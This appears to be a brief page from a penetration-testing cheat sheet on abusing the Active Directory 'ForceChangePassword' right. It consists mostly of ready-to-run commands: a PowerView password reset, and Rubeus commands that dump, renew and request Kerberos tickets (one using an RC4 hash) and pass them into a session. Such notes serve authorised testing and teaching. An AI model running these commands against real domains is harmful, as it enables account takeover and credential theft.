ForceChangePassword
The attacker can change the password of the user. This can be achieved with a PowerView module.
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity final\nina -AccountPassword $UserPasswordIf having issues, try to renew ticket or request a new ticket of authorized user.
klist purge
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x8c78b /service:krbtgt /nowrap
.\Rubeus.exe renew /ticket:doIFBj...BsJZmluYWwuY29t /pttRubeus.exe asktgt /user:adminWebSvc /rc4:b0df1cb0819ca0b7d476d4c868175b94 /pttLast updated